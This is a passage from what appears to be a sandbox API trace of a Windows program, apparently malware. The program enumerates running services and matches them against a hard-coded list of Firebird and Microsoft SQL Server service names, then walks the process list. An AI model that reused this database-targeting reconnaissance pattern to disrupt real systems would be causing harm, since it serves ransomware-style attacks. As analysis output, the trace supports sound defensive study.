th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0301.861] CloseHandle (hObject=0x348) returned 1 [0301.861] Sleep (dwMilliseconds=0x1f4) [0302.704] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x759d60 [0302.704] EnumServicesStatusExW (in: hSCManager=0x759d60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0302.704] GetLastError () returned 0xea [0302.704] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x4420898 [0302.704] EnumServicesStatusExW (in: hSCManager=0x759d60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4420898, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4420898, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0302.705] CloseServiceHandle (hSCObject=0x759d60) returned 1 [0302.705] lstrlenW (lpString="Appinfo") returned 7 [0302.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0302.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0302.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0302.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0302.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0302.705] lstrlenW (lpString="AppXSvc") returned 7 [0302.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0302.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0302.706] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0302.706] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0302.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0302.706] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0302.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0302.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0302.706] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0302.706] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0302.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0302.706] lstrlenW (lpString="Audiosrv") returned 8 [0302.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0302.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0302.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0302.706] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0302.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0302.706] lstrlenW (lpString="BFE") returned 3 [0302.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0302.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0302.706] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0302.706] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0302.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0302.706] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0302.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0302.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0302.706] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0302.706] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0302.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0302.706] lstrlenW (lpString="CDPSvc") returned 6 [0302.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0302.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0302.706] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0302.706] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0302.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0302.706] lstrlenW (lpString="ClickToRunSvc") returned 13 [0302.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0302.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0302.707] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0302.707] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0302.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0302.707] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0302.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0302.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0302.707] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0302.707] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0302.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0302.707] lstrlenW (lpString="CryptSvc") returned 8 [0302.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0302.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0302.707] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0302.707] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0302.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0302.707] lstrlenW (lpString="DcomLaunch") returned 10 [0302.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0302.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0302.707] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0302.707] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0302.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0302.707] lstrlenW (lpString="DeviceAssociationService") returned 24 [0302.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0302.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0302.707] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0302.707] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0302.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0302.708] lstrlenW (lpString="Dhcp") returned 4 [0302.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0302.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0302.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0302.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0302.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0302.708] lstrlenW (lpString="Dnscache") returned 8 [0302.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0302.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0302.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0302.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0302.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0302.708] lstrlenW (lpString="DPS") returned 3 [0302.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0302.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0302.708] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0302.708] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0302.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0302.708] lstrlenW (lpString="DusmSvc") returned 7 [0302.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0302.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0302.708] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0302.708] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0302.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0302.708] lstrlenW (lpString="EventLog") returned 8 [0302.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0302.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0302.708] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0302.708] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0302.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0302.708] lstrlenW (lpString="EventSystem") returned 11 [0302.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0302.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0302.708] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0302.708] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0302.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0302.709] lstrlenW (lpString="FontCache") returned 9 [0302.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0302.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0302.709] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0302.709] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0302.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0302.709] lstrlenW (lpString="gpsvc") returned 5 [0302.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0302.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0302.709] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0302.709] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0302.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0302.709] lstrlenW (lpString="iphlpsvc") returned 8 [0302.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0302.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0302.709] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0302.709] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0302.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0302.709] lstrlenW (lpString="KeyIso") returned 6 [0302.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0302.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0302.709] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0302.709] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0302.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0302.709] lstrlenW (lpString="LanmanServer") returned 12 [0302.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0302.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0302.709] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0302.709] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0302.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0302.709] lstrlenW (lpString="LanmanWorkstation") returned 17 [0302.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0302.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0302.709] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0302.710] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0302.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0302.710] lstrlenW (lpString="lfsvc") returned 5 [0302.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0302.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0302.710] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0302.710] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0302.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0302.710] lstrlenW (lpString="lmhosts") returned 7 [0302.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0302.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0302.710] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0302.710] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0302.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0302.710] lstrlenW (lpString="LSM") returned 3 [0302.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0302.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0302.710] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0302.710] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0302.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0302.710] lstrlenW (lpString="MpsSvc") returned 6 [0302.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0302.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0302.710] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0302.710] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0302.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0302.710] lstrlenW (lpString="NcbService") returned 10 [0302.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0302.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0302.710] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0302.710] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0302.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0302.710] lstrlenW (lpString="netprofm") returned 8 [0302.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0302.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0302.711] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0302.711] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0302.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0302.711] lstrlenW (lpString="NgcSvc") returned 6 [0302.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0302.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0302.711] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0302.711] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0302.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0302.711] lstrlenW (lpString="NlaSvc") returned 6 [0302.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0302.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0302.711] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0302.711] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0302.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0302.711] lstrlenW (lpString="nsi") returned 3 [0302.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0302.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0302.711] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0302.711] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0302.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0302.711] lstrlenW (lpString="PcaSvc") returned 6 [0302.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0302.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0302.711] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0302.711] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0302.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0302.711] lstrlenW (lpString="PlugPlay") returned 8 [0302.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0302.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0302.711] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0302.711] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0302.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0302.711] lstrlenW (lpString="Power") returned 5 [0302.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0302.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0302.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0302.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0302.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0302.712] lstrlenW (lpString="ProfSvc") returned 7 [0302.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0302.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0302.712] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0302.712] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0302.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0302.712] lstrlenW (lpString="RpcEptMapper") returned 12 [0302.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0302.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0302.712] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0302.712] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0302.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0302.712] lstrlenW (lpString="RpcSs") returned 5 [0302.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0302.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0302.712] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0302.712] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0302.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0302.712] lstrlenW (lpString="SamSs") returned 5 [0302.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0302.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0302.712] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0302.712] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0302.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0302.712] lstrlenW (lpString="Schedule") returned 8 [0302.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0302.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0302.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0302.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0302.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0302.712] lstrlenW (lpString="SecurityHealthService") returned 21 [0302.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0302.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0302.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0302.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0302.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0302.713] lstrlenW (lpString="SENS") returned 4 [0302.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0302.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0302.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0302.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0302.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0302.713] lstrlenW (lpString="ShellHWDetection") returned 16 [0302.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0302.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0302.713] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0302.713] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0302.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0302.713] lstrlenW (lpString="Spooler") returned 7 [0302.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0302.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0302.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0302.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0302.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0302.713] lstrlenW (lpString="StateRepository") returned 15 [0302.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0302.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0302.713] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0302.713] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0302.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0302.713] lstrlenW (lpString="SysMain") returned 7 [0302.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0302.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0302.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0302.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0302.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0302.714] lstrlenW (lpString="SystemEventsBroker") returned 18 [0302.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0302.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0302.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0302.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0302.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0302.714] lstrlenW (lpString="Themes") returned 6 [0302.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0302.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0302.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0302.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0302.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0302.714] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0302.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0302.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0302.714] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0302.714] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0302.714] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4420898 | out: hHeap=0x700000) returned 1 [0302.714] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0302.717] Process32FirstW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0302.718] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0302.719] lstrlenW (lpString="System") returned 6 [0302.719] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0303.094] lstrlenW (lpString="smss.exe") returned 8 [0303.094] Process32NextW (in: hSnapshot=0x358, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, 